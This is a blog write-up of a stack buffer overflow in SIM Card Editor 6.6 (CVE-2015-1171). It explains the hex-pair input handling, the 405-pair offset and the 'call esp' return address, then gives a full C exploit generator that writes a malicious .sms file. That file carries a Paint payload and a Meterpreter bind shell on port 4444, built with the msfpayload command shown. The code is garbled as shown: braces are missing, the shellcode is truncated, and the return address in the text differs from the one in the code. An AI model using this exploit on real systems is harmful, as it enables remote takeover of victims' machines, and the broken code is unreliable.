Sim Editor Stack Based Buffer Overflow

Last week I bought a SIM card reader. Along with it came the software for it. It was SIM Card Editor 6.6. You can download it from here. The app is pretty cool. You can manipulate the SIM card’s data with it. However I noticed something strange in this application. When we are loading file for example suppose with 4 “A” characters we would get the output as “ªª”. Just two characters will be displayed. When I gave the input as “4141” the result would be “AA”. This time the correct output we need. What was the reason for this? From what I noticed was that when we enter “AAAA” the hex values would be “\x41\x41\x41\x41” the app will take two values each and evaluate to hex.

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When we give the input as “4141” this is what happens.

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So suppose we want to enter a hex string we have to just give the input. For example we want to give the application “AA” we have to give just “4141”. Taking that into consideration the rest was easy. The return address is overwritten with our buffer.
[code language=”python”]
buff = "41" * 500
with open("ex.sms", ‘w’) as f:

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After 405 “41” characters we land on the return value. This would be the address where EIP would point. I used a “call esp” address from the executable itself. Not that null bytes, carriage return, line feed characters would be of no issue at all which make our lives more easier ?

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I’ll be using the address 0x4280D3 which would be “D3804200”. That’s it after that we nicely jump into the shellcode located in the ESP register 🙂

Final Exploit

This is the final exploit. I’ve included two payloads. One is MS Paint and the other is a bind TCP shell which listens on port 4444.

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[code language=”c”]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE 65536

* Title: Sim Editor v6.6 Stack Based Buffer Overflow
* Version: 6.6
* Tested on: Windows XP sp2 en, Windows 8 64-bit
* Date: 16-01-2015
* Author: Osanda Malith Jayathissa
* E-Mail: osanda[cat]
* Website:
* CVE: CVE-2015-1171

const char shell1[] = "ba516a43ddd9e9d97424f45e33c9b1"

/* msfpayload windows/meterpreter/bind_tcp EXITFUNC=thread LPORT=4444 R | msfencode -a x86 -t c */
const char shell2[] = "bb3ff8edc8dbc6d97424f45f2bc9b1"

const char *shells[] = { shell1, shell2 };
const char *shell_names[] = { "MS Paint", "Bind Shell" };
const char *shell_info[] = { "", "[*] Connect on port 4444\n" };
const size_t SHELLS_COUNT = 2;

int menu() {
size_t shell_type = SHELLS_COUNT;
puts("\b[?] Choose an Option: ");
size_t i;
for (i = 0; i < SHELLS_COUNT; i++) printf("%d. %s\n", i, shell_names[i]);
scanf("%i", &shell_type);
return shell_type;

void banner() {
static const char banner[] =
" _____ _ _____ _ _ _ \n"
"| __|_|_____ | __|_| |_| |_ ___ ___ \n"
"|__ | | | | __| . | | _| . | _|\n"
"|_____|_|_|_|_| |_____|___|_|_| |___|_|\n"
"\n[~] Sim Editor v6.6 Stack Based Buffer Overflow\n"
"[~] Author: Osanda Malith Jayathissa\n"
"[~] E-Mail: osanda[cat]\n"
"[~] Website:\n\n";

fwrite(banner, sizeof(char), sizeof(banner) , stdout);

void patternfill(char *dst, char *pattern, size_t count, size_t dst_size) {
size_t pattern_len = strlen(pattern);
count *= pattern_len;
if (count > dst_size) count = dst_size;
if (pattern_len > dst_size) pattern_len = dst_size;

size_t i, pI;
for (i = 0, pI = 0; i < count ; i++, pI++) {
if (pI == pattern_len) pI = 0;
dst[i] = pattern[pI];

int main() {
int shell_type = menu();
if (shell_type >= SHELLS_COUNT) {
printf("[-] Enter a valid input\n");
exit (1);

char *buff = (char*) calloc (SIZE, sizeof(char));
char *nops = (char*) calloc (SIZE, sizeof(char));
if (!buff || !nops) exit (1);

patternfill(buff, "41", 405, SIZE);
patternfill(nops, "90", 16, SIZE);

char ret[] = "B3804200";
const char* filename = "exploit.sms";

FILE *outfile = fopen(filename, "w");
if (!outfile) {
printf("%s\n","Could not open file");
exit (1);

fputs(buff, outfile);
fputs(ret, outfile);
fputs(nops, outfile);

fputs(shells[shell_type], outfile);
printf("%s", shell_info[shell_type]);
printf("[+] Successfully to written to: \"%s\"\n", filename);
return 0;
Special thanks to hasherezade for optimizing my code 🙂

Here is a small demo.


6 thoughts on “Sim Editor Stack Based Buffer Overflow

  1. Can u reupload a mirror of the program SIm editor 6.6 , since the link u provided is disabled

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